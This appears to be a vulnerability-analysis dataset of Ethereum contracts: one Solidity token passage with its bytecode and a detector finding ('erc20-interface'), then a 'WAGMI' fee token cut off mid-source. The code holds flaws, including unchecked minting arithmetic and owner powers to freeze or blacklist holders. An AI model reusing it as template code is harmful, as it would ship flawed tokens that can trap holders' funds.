Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract MyAdvancedToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function MyAdvancedToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
uint currentChallenge = 1; // Can you figure out the cubic root of this number?
function rewardMathGeniuses(uint answerToCurrentReward, uint nextChallenge) {
require(answerToCurrentReward**3 == currentChallenge); // If answer is wrong do not continue
balanceOf[msg.sender] += 1; // Reward the player
currentChallenge = nextChallenge; // Set the next challenge
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
} | 0x606060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461013857806306fdde0314610164578063095ea7b3146101f257806318160ddd1461024c57806323b872dd14610275578063313ce567146102ee57806342966c681461031d5780634b7503341461035857806370a082311461038157806379c65068146103ce57806379cc6790146104105780638620410b1461046a5780638da5cb5b1461049357806395d89b41146104e8578063a6f2ae3a14610576578063a9059cbb14610580578063b414d4b6146105c2578063cae9ca5114610613578063dd62ed3e146106b0578063e4849b321461071c578063e5f952d71461073f578063e724529c1461076b578063f2fde38b146107af575b600080fd5b341561014357600080fd5b61016260048080359060200190919080359060200190919050506107e8565b005b341561016f57600080fd5b610177610855565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b757808201518184015260208101905061019c565b50505050905090810190601f1680156101e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101fd57600080fd5b610232600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108f3565b604051808215151515815260200191505060405180910390f35b341561025757600080fd5b61025f610980565b6040518082815260200191505060405180910390f35b341561028057600080fd5b6102d4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610986565b604051808215151515815260200191505060405180910390f35b34156102f957600080fd5b610301610ab3565b604051808260ff1660ff16815260200191505060405180910390f35b341561032857600080fd5b61033e6004808035906020019091905050610ac6565b604051808215151515815260200191505060405180910390f35b341561036357600080fd5b61036b610bca565b6040518082815260200191505060405180910390f35b341561038c57600080fd5b6103b8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bd0565b6040518082815260200191505060405180910390f35b34156103d957600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610be8565b005b341561041b57600080fd5b610450600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d59565b604051808215151515815260200191505060405180910390f35b341561047557600080fd5b61047d610f73565b6040518082815260200191505060405180910390f35b341561049e57600080fd5b6104a6610f79565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104f357600080fd5b6104fb610f9e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053b578082015181840152602081019050610520565b50505050905090810190601f1680156105685780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61057e61103c565b005b341561058b57600080fd5b6105c0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061105c565b005b34156105cd57600080fd5b6105f9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061106b565b604051808215151515815260200191505060405180910390f35b341561061e57600080fd5b610696600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061108b565b604051808215151515815260200191505060405180910390f35b34156106bb57600080fd5b610706600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611209565b6040518082815260200191505060405180910390f35b341561072757600080fd5b61073d600480803590602001909190505061122e565b005b341561074a57600080fd5b61076960048080359060200190919080359060200190919050506112aa565b005b341561077657600080fd5b6107ad600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611316565b005b34156107ba57600080fd5b6107e6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061143b565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561084357600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108eb5780601f106108c0576101008083540402835291602001916108eb565b820191906000526020600020905b8154815290600101906020018083116108ce57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a1357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610aa88484846114d9565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b1657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4357600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610da957600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e3457600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110345780601f1061100957610100808354040283529160200191611034565b820191906000526020600020905b81548152906001019060200180831161101757829003601f168201915b505050505081565b60006008543481151561104b57fe5b0490506110593033836114d9565b50565b6110673383836114d9565b5050565b60096020528060005260406000206000915054906101000a900460ff1681565b60008084905061109b85856108f3565b15611200578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561119557808201518184015260208101905061117a565b50505050905090810190601f1680156111c25780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156111e357600080fd5b6102c65a03f115156111f457600080fd5b50505060019150611201565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b60075481023073ffffffffffffffffffffffffffffffffffffffff16311015151561125857600080fd5b6112633330836114d9565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f1935050505015156112a757600080fd5b50565b600a546003830a1415156112bd57600080fd5b6001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600a819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137157600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561149657600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff16141515156114ff57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561154d57600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156115db57600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561163457600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561168d57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a72305820152e85f4f089433a04ac5fb8cb5270f85038592c4716659a26494f92cc6a73ea0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 321 |
0x23e5f6c2f6753842518a65462762cb6d50f85280 | /**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
/*
WAGMI bros
https://t.me/WAGMIETH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WAGMI is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "WAGMI️";
string private constant _symbol = 'WAGMI';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
